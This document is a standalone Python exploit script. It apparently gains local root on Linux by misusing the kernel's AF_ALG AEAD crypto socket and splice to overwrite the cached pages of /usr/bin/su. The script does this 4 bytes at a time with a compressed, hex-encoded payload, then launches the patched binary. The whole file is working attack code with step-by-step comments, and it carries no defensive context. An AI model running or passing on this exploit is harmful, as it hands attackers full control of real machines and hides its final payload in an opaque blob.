#!/usr/bin/env python3
import os as os_module
import socket as socket_module
import zlib


# Convert a hex string to bytes
def hex_to_bytes(hex_string):
    return bytes.fromhex(hex_string)


# Patch a 4-byte chunk (patch_bytes) at offset (chunk_offset) in file descriptor (target_fd)
# using a kernel AEAD crypto socket to write into the target binary
def patch_chunk(target_fd, chunk_offset, patch_bytes):
    # Create an AEAD (Authenticated Encryption with Associated Data) socket
    crypto_socket = socket_module.socket(38, 5, 0)
    # Bind to the AEAD algorithm: AES-CBC with HMAC-SHA256 (with ESN)
    crypto_socket.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    # SOL_ALG socket option level
    sol_alg = 279
    set_socket_option = crypto_socket.setsockopt
    # Set the cipher key (16-byte AES key, all zeros)
    set_socket_option(sol_alg, 1, hex_to_bytes("0800010000000010" + "0" * 64))
    # Set the authentication tag size to 4 bytes
    set_socket_option(sol_alg, 5, None, 4)
    # Accept a connection on the crypto socket to get a usable file descriptor
    crypto_connection, _ = crypto_socket.accept()
    # The write offset into the target file is the current chunk offset + 4
    write_offset = chunk_offset + 4
    # Null byte used to pad control message fields
    null_byte = hex_to_bytes("00")
    # Send the payload chunk with crypto control messages (IV, seq number, op)
    crypto_connection.sendmsg(
        [b"A" * 4 + patch_bytes],  # 4-byte header + 4-byte patch data
        [
            (sol_alg, 3, null_byte * 4),  # IV (all zeros, 4 bytes)
            (sol_alg, 2, b"\x10" + null_byte * 19),  # Sequence number / nonce
            (sol_alg, 4, b"\x08" + null_byte * 3),  # Operation flags
        ],
        32768,  # MSG_SPLICE_PAGES flag to splice directly into the pipe
    )
    # Create a pipe to splice data from the crypto socket into the target file
    pipe_read_fd, pipe_write_fd = os_module.pipe()
    splice_data = os_module.splice
    # Splice encrypted output into the write end of the pipe
    splice_data(target_fd, pipe_write_fd, write_offset, offset_src=0)
    # Splice from the read end of the pipe into the crypto socket fd (patching the binary)
    splice_data(pipe_read_fd, crypto_connection.fileno(), write_offset)
    try:
        # Drain the response from the crypto socket
        crypto_connection.recv(8 + chunk_offset)
    except Exception:
        pass


# Open the target binary for reading/writing (O_RDONLY=0, relies on splice to write)
target_fd = os_module.open("/usr/bin/su", 0)
chunk_offset = 0
# Decompress the payload: a sequence of 4-byte patches to apply to the binary
payload_bytes = zlib.decompress(
    hex_to_bytes(
        "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
    )
)
# Iterate over the decompressed payload in 4-byte chunks and patch the binary
while chunk_offset < len(payload_bytes):
    patch_chunk(target_fd, chunk_offset, payload_bytes[chunk_offset : chunk_offset + 4])
    chunk_offset += 4
# Execute the (now-patched) su binary
os_module.system("su")